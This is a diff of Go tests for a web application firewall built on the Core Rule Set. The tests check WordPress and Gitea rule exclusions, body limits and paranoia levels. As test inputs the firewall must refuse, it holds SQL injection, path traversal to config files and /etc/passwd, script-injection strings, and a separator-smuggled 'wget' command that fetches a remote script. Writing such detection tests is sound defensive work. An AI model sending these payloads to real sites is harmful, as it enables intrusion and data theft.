// An empty User-Agent is a notice, which adds 2. // An empty User-Agent is a notice, which adds 2.
wantResult(t, atDefaults(t), get("/", "User-Agent: "), wantResult(t, atDefaults(t), get("/", "User-Agent: "),
waf.Result{RuleIDs: []int{920330}, Score: 2}) coreruleset.Result{RuleIDs: []int{920330}, Score: 2})
} }
func TestParanoiaLevel(t *testing.T) { func TestParanoiaLevel(t *testing.T) {
@@ -347,7 +357,7 @@ func TestParanoiaLevel(t *testing.T) {
// Accept-Charset is refused from paranoia level 2. // Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8") r := get("/", "Accept-Charset: utf-8")
wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{}) wantResult(t, newCoreRuleSet(t, 1), r, coreruleset.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451)) wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
} }
@@ -359,8 +369,8 @@ func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}} r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, newCoreRuleSet(t, 1), r, wantResult(t, newCoreRuleSet(t, 1), r,
waf.Result{RuleIDs: []int{911100, 920350}, Score: 8}) coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{}) wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
} }
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) { func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
@@ -380,8 +390,8 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
// withExclusions returns the Core Rule Set at the defaults, with the // withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path. // exclusions file at path.
func withExclusions(path string) (*waf.CoreRuleSet, error) { func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
return waf.New(waf.Params{ return coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path,
}) })
} }
@@ -419,7 +429,7 @@ func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) {
func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) { func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
t.Parallel() t.Parallel()
crs, err := waf.New(waf.Params{ crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: []int{920500}, ParanoiaLevel: 1, DisabledRules: []int{920500},
ExclusionsFile: exclusionsFile(t, backupFileExclusion), ExclusionsFile: exclusionsFile(t, backupFileExclusion),
}) })
@@ -427,7 +437,7 @@ func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
t.Fatalf("load the exclusions: %v", err) t.Fatalf("load the exclusions: %v", err)
} }
wantResult(t, crs, get("/notes.txt~"), waf.Result{}) wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{})
} }
func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) { func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
@@ -443,30 +453,53 @@ func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) { func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
t.Parallel() t.Parallel()
for _, path := range []string{ missing := filepath.Join(t.TempDir(), "missing.conf")
filepath.Join(t.TempDir(), "missing.conf"),
exclusionsFile(t, "SecNoSuchDirective On\n"), _, err := withExclusions(missing)
// The Core Rule Set's rules are not loaded yet.
exclusionsFile(t, "SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n"),
// smallwebwaf's own rules may not be switched off or changed, by
// id or in a range.
exclusionsFile(t, "SecRuleRemoveById 900300\n"),
exclusionsFile(t, "SecRuleRemoveById 899999-901000\n"),
exclusionsFile(t, "SecAction \"id:1,phase:1,pass,nolog,"+
"ctl:ruleRemoveById=899999-901000\"\n"),
exclusionsFile(t, "SecAction \"id:1,phase:1,pass,nolog,"+
"ctl:ruleRemoveTargetById=900500;ARGS:from\"\n"),
} {
_, err := withExclusions(path)
if err == nil { if err == nil {
t.Errorf("%s loaded", path) t.Errorf("%s loaded", missing)
}
for _, tc := range []struct{ text, want string }{
{"SecNoSuchDirective On\n", "unknown directive"},
// sww's own rules may not be switched off or changed, by
// id or in a range, on one line or split over several.
{"SecRuleRemoveById 899999-901000\n", "names 899999-901000"},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n",
"names 899999-901000",
},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n",
"names 899999-+901000",
},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n",
"names 900500",
},
{"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"},
{
"SecAction \"id:1,phase:1,pass,nolog,\\\n" +
" ctl:ruleRemoveById=9005\\\n 00\"\n",
"names 900500",
},
// The Core Rule Set's rules load after the file.
{"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"},
{
"SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n",
"SecRuleUpdateTargetById in the exclusions file",
},
} {
_, err := withExclusions(exclusionsFile(t, tc.text))
if err == nil || !strings.Contains(err.Error(), tc.want) {
t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want)
} }
} }
} }
// giteaRequests returns the recorded ordinary gitea requests in testdata, // giteaRequests returns the recorded ordinary gitea requests in testdata.
// which script/gitea-setup sends too. Each has the Referer of a page that // Each has the Referer of a page that names the same, as a page opened
// names the same, as a page opened from it has. // from it has.
func giteaRequests(t *testing.T) []request { func giteaRequests(t *testing.T) []request {
t.Helper() t.Helper()
@@ -496,16 +529,12 @@ func giteaRequests(t *testing.T) []request {
return requests return requests
} }
func TestGiteaExclusionsLetOrdinaryGiteaRequestsThroughAndRefuseAttacks(t *testing.T) { func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel() t.Parallel()
crs, err := withExclusions(filepath.Join("..", "..", "deploy", "gitea", const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
"crs-exclusions.conf"))
if err != nil {
t.Fatalf("load gitea's exclusions: %v", err)
}
const threshold = 5 // SWWAF_WAF_ANOMALY_THRESHOLD's default crs := atDefaults(t)
for _, r := range giteaRequests(t) { for _, r := range giteaRequests(t) {
if got := inspect(t, crs, r); got.Score >= threshold { if got := inspect(t, crs, r); got.Score >= threshold {
@@ -513,18 +542,501 @@ func TestGiteaExclusionsLetOrdinaryGiteaRequestsThroughAndRefuseAttacks(t *testi
} }
} }
// In q too, off gitea's search pages.
for _, parameter := range []string{"id", "q"} {
for _, attack := range []string{ for _, attack := range []string{
"/owner/repo?id=1'%20OR%20'1'='1", "1'%20OR%20'1'='1",
"/owner/repo?id=..%2Fcustom%2Fconf%2Fapp.ini", "..%2Fcustom%2Fconf%2Fapp.ini",
"/owner/repo?id=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "%3Cscript%3Ealert(1)%3C%2Fscript%3E",
} { } {
if got := inspect(t, crs, get(attack)); got.Score < threshold { target := "/owner/repo?" + parameter + "=" + attack
t.Errorf("%s let through: %+v", attack, got) if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
} }
} }
} }
// bodyLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies. // wpLogin is WordPress's sign-in path.
const wpLogin = "/wp-login.php"
// recordedRequest is a line of a file of recorded requests in testdata.
type recordedRequest struct {
Method string `json:"method"`
Target string `json:"target"`
Headers []string `json:"headers"`
Body string `json:"body"`
}
// wordpressRequests returns the recorded ordinary WordPress requests in
// testdata, each with its body.
func wordpressRequests(t *testing.T) []recordedRequest {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "wordpress-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []recordedRequest
for line := range strings.Lines(string(text)) {
if strings.HasPrefix(line, "#") {
continue
}
var r recordedRequest
err := json.Unmarshal([]byte(line), &r)
if err != nil {
t.Fatalf("%q: %v", line, err)
}
requests = append(requests, r)
}
return requests
}
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// wordpressAttackTargets returns attack in a query parameter no exclusion
// names, and in each field whose searches and names skip some rules there.
func wordpressAttackTargets(attack string) []string {
return []string{
"/?id=" + attack,
wpLogin + "?id=" + attack,
"/wp-admin/admin-ajax.php?id=" + attack,
"/wp-json/wp/v2/posts?id=" + attack,
"/?s=" + attack,
"/index.php?s=" + attack,
"/page/2/?s=" + attack,
"/index.php/page/2/?s=" + attack,
"/wp-admin/edit.php?s=" + attack,
"/wp-admin/upload.php?s=" + attack,
"/wp-admin/plugin-install.php?s=" + attack,
"/wp-admin/edit-comments.php?s=" + attack,
"/wp-admin/users.php?s=" + attack,
"/wp-admin/plugins.php?s=" + attack,
"/wp-admin/edit-tags.php?s=" + attack,
"/wp-json/wp/v2/search?search=" + attack,
"/wp-json/wp/v2/posts?search=" + attack,
"/wp-json/wp/v2/tags?search=" + attack,
"/?rest_route=/wp/v2/search&search=" + attack,
"/wp-json/wp/v2/posts?slug=" + attack,
"/wp-json/wp/v2/tags?slug=" + attack,
"/?rest_route=/wp/v2/posts&slug=" + attack,
"/wp-json/wp/v2/block-directory/search?term=" + attack,
"/wp-admin/themes.php?search=" + attack,
"/wp-admin/theme-install.php?search=" + attack,
"/wp-admin/upload.php?search=" + attack,
"/wp-admin/admin-ajax.php?q=" + attack,
"/wp-admin/admin-ajax.php?term=" + attack,
"/wp-admin/edit.php?_wp_http_referer=" + attack,
"/wp-admin/upload.php?_wp_http_referer=" + attack,
"/?tag=" + attack,
"/index.php?tag=" + attack,
"/wp-admin/edit.php?tag=" + attack,
"/wp-admin/edit.php?category_name=" + attack,
"/wp-admin/plugin-editor.php?file=" + attack,
"/wp-admin/theme-editor.php?file=" + attack,
"/wp-admin/plugin-editor.php?plugin=" + attack,
"/wp-admin/plugins.php?plugin=" + attack,
"/wp-admin/update.php?plugin=" + attack,
}
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, recorded := range wordpressRequests(t) {
r := request{recorded.Method, recorded.Target, recorded.Headers}
crsSets := []*coreruleset.CoreRuleSet{defaults}
if recorded.Body != "" {
crsSets = append(crsSets, bodies)
}
for _, crs := range crsSets {
got, _ := inspectBody(t, crs, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
}
}
}
for _, attack := range []string{
"1'%20OR%20'1'='1",
"..%2F..%2Fwp-config.php",
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
} {
for _, target := range wordpressAttackTargets(attack) {
if got := inspect(t, defaults, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// In a body field no exclusion names, on the paths with exclusions.
body := "id=" + attack
for _, target := range []string{
wpLogin,
"/wp-comments-post.php",
"/wp-admin/admin-ajax.php",
"/wp-admin/post.php",
"/wp-admin/options.php",
} {
got, _ := inspectBody(t, bodies,
request{http.MethodPost, target, []string{formData}}, body)
if got.Score < threshold {
t.Errorf("POST %s %q let through: %+v", target, body, got)
}
}
}
}
// wordpressBlock is the comment that starts every block of WordPress's
// HTML, which rule 941180 matches.
const wordpressBlock = "<!-- wp:paragraph -->"
// wordpressOverride is the header with which the block editor saves.
const wordpressOverride = "X-HTTP-Method-Override: PUT"
// wordpressRESTAddresses returns the four addresses of route on the REST
// API.
func wordpressRESTAddresses(route string) []string {
return []string{
"/wp-json" + route,
"/index.php/wp-json" + route,
"/index.php?rest_route=" + route,
"/?rest_route=" + route,
}
}
func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
t.Parallel()
crs := readingBodiesUpTo64K(t)
content := `{"content":"` + wordpressBlock + `"}`
for _, route := range []string{
"/wp/v2/posts/1",
"/wp/v2/posts/1/autosaves",
"/wp/v2/pages/2",
"/wp/v2/templates/twentytwentyfive//index",
"/wp/v2/template-parts/twentytwentyfive//header",
} {
for _, address := range wordpressRESTAddresses(route) {
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
wantBody(t, crs, r, content, coreruleset.Result{}, content)
}
}
// The routes that save something else keep the rules.
for _, route := range []string{
"/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings",
} {
for _, address := range wordpressRESTAddresses(route) {
r := request{http.MethodPost, address, []string{jsonBody}}
wantBody(t, crs, r, content, matched(941180), content)
}
}
// WordPress follows a route in the query over one in the path.
r := request{
http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments",
[]string{jsonBody},
}
wantBody(t, crs, r, content, matched(941180), content)
}
func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"),
matched(932260))
wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260))
wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"),
matched(932250))
wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"),
get("/wp-json/example/v1/things?search=powershell"), matched(932120))
wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"),
get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120))
wantChange(t, crs,
get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"),
get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120))
wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"),
get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260))
}
// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three
// groups in wordpress.conf at one target of its group, against the same
// values in a field no group names, then one field at each other target of
// the group.
func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
t.Parallel()
// A page's address, repeating the search it came from. Rules 932235
// and 932260 match it, and only the fields that hold an address skip
// 932235.
const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3"
crs := atDefaults(t)
values := []struct {
value string
rule int
}{
{".htaccess", 930120},
{"powershell", 932120},
{"ls+-la", 932250},
{"python3", 932260},
}
for _, group := range []struct {
target string
fields []string
addressFields []string
}{
{
"/wp-admin/options.php?",
[]string{
"s", "search", "q", "term", "tag", "category_name", "plugin",
"checked%5B%5D", "theme", "stylesheet",
},
[]string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"},
},
{"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil},
{"/?", []string{"s", "tag"}, nil},
} {
wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260))
for _, field := range group.fields {
wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235))
}
for _, field := range group.addressFields {
wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{})
}
for _, v := range values {
wantResult(t, crs, get(group.target+"id="+v.value), matched(v.rule))
for _, field := range slices.Concat(group.fields, group.addressFields) {
wantResult(t, crs, get(group.target+field+"="+v.value), coreruleset.Result{})
}
}
}
for _, target := range []string{
"/wp-admin/term.php?s=python3",
wpLogin + "?s=python3",
"/index.php/wp-json/wp/v2/tags?slug=python3",
"/index.php?rest_route=/wp/v2/tags&slug=python3",
"/?rest_route=/wp/v2/tags&slug=python3",
"/wp-json/oembed/1.0/embed?url=python3",
"/?rest_route=/oembed/1.0/embed&url=python3",
"/index.php?tag=python3",
"/page/2/?tag=python3",
"/index.php/page/2/?s=python3",
} {
wantResult(t, crs, get(target), coreruleset.Result{})
}
}
func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) {
t.Parallel()
const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh"
crs := atDefaults(t)
for _, target := range []string{
"/?s=",
"/page/2/?s=",
"/wp-admin/edit.php?s=",
"/wp-json/wp/v2/search?search=",
"/wp-admin/themes.php?search=",
"/wp-json/wp/v2/posts?slug=",
"/?rest_route=/wp/v2/posts&slug=",
"/wp-json/wp/v2/tags?url=",
"/wp-json/oembed/1.0/embed?url=",
"/?tag=",
"/wp-admin/edit.php?tag=",
"/wp-admin/admin-ajax.php?q=",
} {
wantResult(t, crs, get(target+command), matched(932235))
}
}
// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule
// on one of its paths against the same value where no exclusion applies.
func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
const elsewhere = "/example/things"
crs := atDefaults(t)
for _, tt := range []struct {
target string
rule int
}{
{"/page/2/?s=python3", 932260},
{"/page/2/?s=ls+-la", 932250},
{"/page/2/?s=powershell", 932120},
{"/index.php/page/2/?s=python3", 932260},
{"/?s=.htaccess", 930120},
{"/?s=wp-config.php", 930120},
{"/?s=.bashrc", 930120},
{"/page/2/?s=.htaccess", 930120},
{"/wp-admin/edit-comments.php?s=powershell", 932120},
{"/wp-admin/users.php?s=ls+-la", 932250},
{"/wp-admin/plugins.php?s=python3", 932260},
{"/wp-admin/edit-tags.php?s=python3", 932260},
{"/wp-admin/themes.php?search=powershell", 932120},
{"/wp-admin/theme-install.php?search=ls+-la", 932250},
{"/wp-admin/upload.php?search=python3", 932260},
{"/wp-admin/admin-ajax.php?q=powershell", 932120},
{"/wp-admin/admin-ajax.php?q=ls+-la", 932250},
{"/wp-admin/admin-ajax.php?q=python3", 932260},
{"/wp-admin/admin-ajax.php?term=powershell", 932120},
{"/wp-admin/admin-ajax.php?term=ls+-la", 932250},
{"/wp-admin/admin-ajax.php?term=python3", 932260},
{"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120},
{"/wp-admin/edit.php?_wp_http_referer=powershell", 932120},
{"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250},
{"/wp-admin/users.php?_wp_http_referer=python3", 932260},
{"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340},
{"/?tag=python3", 932260},
{"/index.php?tag=powershell", 932120},
{"/wp-admin/edit.php?tag=ls+-la", 932250},
{"/wp-admin/edit.php?category_name=python3", 932260},
{"/wp-admin/edit.php?category_name=powershell", 932120},
{"/wp-admin/edit.php?category_name=ls+-la", 932250},
{"/wp-admin/plugin-editor.php?file=install-script.sh", 932120},
{"/wp-admin/theme-editor.php?file=document.write.js", 941180},
{"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260},
{"/wp-admin/plugins.php?plugin=powershell-tools", 932120},
{"/wp-admin/update.php?plugin=docker-helper", 932260},
} {
_, query, _ := strings.Cut(tt.target, "?")
wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule))
}
}
// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term and the
// header X-HTTP-Method-Override at the REST API's addresses.
func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
// Any route of WordPress's own API, at each address.
for _, route := range []string{
"/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media",
"/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns",
} {
wantChange(t, crs, get("/wp-json"+route+"?search=python3"),
get("/wp-json/example/v1/things?search=python3"), matched(932260))
wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"),
get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260))
wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"),
get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120))
}
const directory = "/wp-json/wp/v2/block-directory/search"
wantChange(t, crs, get(directory+"?term=python3"),
get("/wp-json/example/v1/things?term=python3"), matched(932260))
wantChange(t, crs, get(directory+"?term=powershell"),
get("/wp-json/example/v1/things?term=powershell"), matched(932120))
wantChange(t, crs, get(directory+"?term=ls+-la"),
get("/wp-json/example/v1/things?term=ls+-la"), matched(932250))
// The header X-HTTP-Method-Override at the address on the site root,
// and off the REST API.
headers := []string{jsonBody, "Content-Length: 2", wordpressOverride}
wantChange(t, crs,
request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers},
request{http.MethodPost, "/?p=1", headers}, matched(920450))
}
func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120))
wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120))
wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250))
wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"),
matched(941100, 941160))
wantResult(t, crs,
get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)),
matched(941180))
}
func TestWordPressExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const (
save = "/wp-json/wp/v2/posts/1"
offREST = "/api/posts/1"
length = "Content-Length: 2"
)
crs := readingBodiesUpTo64K(t)
saving := request{http.MethodPost, save, []string{jsonBody, wordpressOverride}}
content := `{"content":"` + wordpressBlock + `"}`
wantBody(t, crs, saving, content, coreruleset.Result{}, content)
// The other fields of the post keep the rule, and so does the same field
// off the REST API.
title := `{"title":"` + wordpressBlock + `"}`
wantBody(t, crs, saving, title, matched(941180), title)
wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content,
matched(941180), content)
// The header X-HTTP-Method-Override is refused off the REST API.
defaults := atDefaults(t)
wantResult(t, defaults,
request{http.MethodPost, save, []string{jsonBody, length, wordpressOverride}},
coreruleset.Result{})
wantResult(t, defaults,
request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}},
matched(920450))
// Signing in: pwd alone skips the list of system files.
signIn := request{http.MethodPost, wpLogin, []string{formData}}
body := "log=a&pwd=b%20%2Fetc%2Fhosts"
wantBody(t, crs, signIn, body, coreruleset.Result{}, body)
body = "log=b%20%2Fetc%2Fhosts&pwd=a"
wantBody(t, crs, signIn, body, matched(930120), body)
}
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10 const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads. // The Content-Type headers of the kinds of body the Core Rule Set reads.
@@ -538,12 +1050,12 @@ const (
// injection is an SQL injection, which rule 942100 matches. // injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1" const injection = "1' OR '1'='1"
// readingBodies returns the Core Rule Set as smallwebwaf runs it by // readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit. // default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *waf.CoreRuleSet { func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
crs, err := waf.New(waf.Params{ crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
}) })
if err != nil { if err != nil {
@@ -577,7 +1089,8 @@ func padded(head, tail string, n int) string {
// wantBody checks what crs finds in r with body, and that what it read of // wantBody checks what crs finds in r with body, and that what it read of
// body is read. // body is read.
func wantBody( func wantBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string, want waf.Result, t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
want coreruleset.Result,
read string, read string,
) { ) {
t.Helper() t.Helper()
@@ -601,7 +1114,7 @@ func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
{jsonBody, `{"q":"` + injection + `"}`}, {jsonBody, `{"q":"` + injection + `"}`},
{xmlBody, "<q>" + injection + "</q>"}, {xmlBody, "<q>" + injection + "</q>"},
} { } {
wantBody(t, off, post(tc.header), tc.body, waf.Result{}, "") wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "")
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body) wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
} }
} }
@@ -624,7 +1137,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
} { } {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100), wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1]) tc.attackFirst[:bodyLimit+1])
wantBody(t, crs, post(tc.header), tc.attackLast, waf.Result{}, wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{},
tc.attackLast[:bodyLimit+1]) tc.attackLast[:bodyLimit+1])
} }
@@ -634,7 +1147,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit) wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1) pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(t, crs, post(formData), pastLimit, waf.Result{}, pastLimit) wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit)
} }
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) { func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
@@ -650,7 +1163,7 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
wantBody(t, crs, post(tc.header), fits, matched(942100), fits) wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1) larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(t, crs, post(tc.header), larger, waf.Result{}, larger) wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger)
} }
} }
@@ -668,7 +1181,7 @@ func TestOtherBodiesAreNotRead(t *testing.T) {
"Content-Type: text/plain", "Content-Type: text/plain",
"Content-Type: application/x-git-receive-pack-request", "Content-Type: application/x-git-receive-pack-request",
} { } {
wantBody(t, crs, post(header), body, waf.Result{}, "") wantBody(t, crs, post(header), body, coreruleset.Result{}, "")
} }
} }
@@ -696,8 +1209,8 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.
// It is allowed on a body of any other kind, and on every body while no // It is allowed on a body of any other kind, and on every body while no
// body is read. // body is read.
fetch := "Content-Type: application/x-git-upload-pack-request" fetch := "Content-Type: application/x-git-upload-pack-request"
wantBody(t, crs, post(fetch, gzip), "a", waf.Result{}, "") wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "")
wantBody(t, atDefaults(t), post(formData, gzip), "a", waf.Result{}, "") wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "")
} }
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) { func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
@@ -708,18 +1221,18 @@ func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
for _, tc := range []struct { for _, tc := range []struct {
body string body string
want waf.Result want coreruleset.Result
}{ }{
{"path=.gitignore", waf.Result{}}, {"path=.gitignore", coreruleset.Result{}},
{"q=.gitignore", matched(930120)}, {"q=.gitignore", matched(930120)},
{"redirect_uri=" + local, waf.Result{}}, {"redirect_uri=" + local, coreruleset.Result{}},
{"next=" + local, matched(931100, 934110)}, {"next=" + local, matched(931100, 934110)},
} { } {
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body) wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
} }
body := field("path", ".gitignore") + end body := field("path", ".gitignore") + end
wantBody(t, crs, post(multipart), body, waf.Result{}, body) wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body)
body = field("q", ".gitignore") + end body = field("q", ".gitignore") + end
wantBody(t, crs, post(multipart), body, matched(930120), body) wantBody(t, crs, post(multipart), body, matched(930120), body)
@@ -843,7 +1356,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
func TestBodyLimitOf1GLoads(t *testing.T) { func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel() t.Parallel()
_, err := waf.New(waf.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30}) _, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
if err != nil { if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err) t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
} }
+283
View File
@@ -0,0 +1,283 @@
# The eighth change: on gitea's paths, some fields skip the rules that refused
# ordinary gitea requests there. They are the fields where gitea sends a search,
# a file name or a branch name. Each exclusion runs with the request, before the
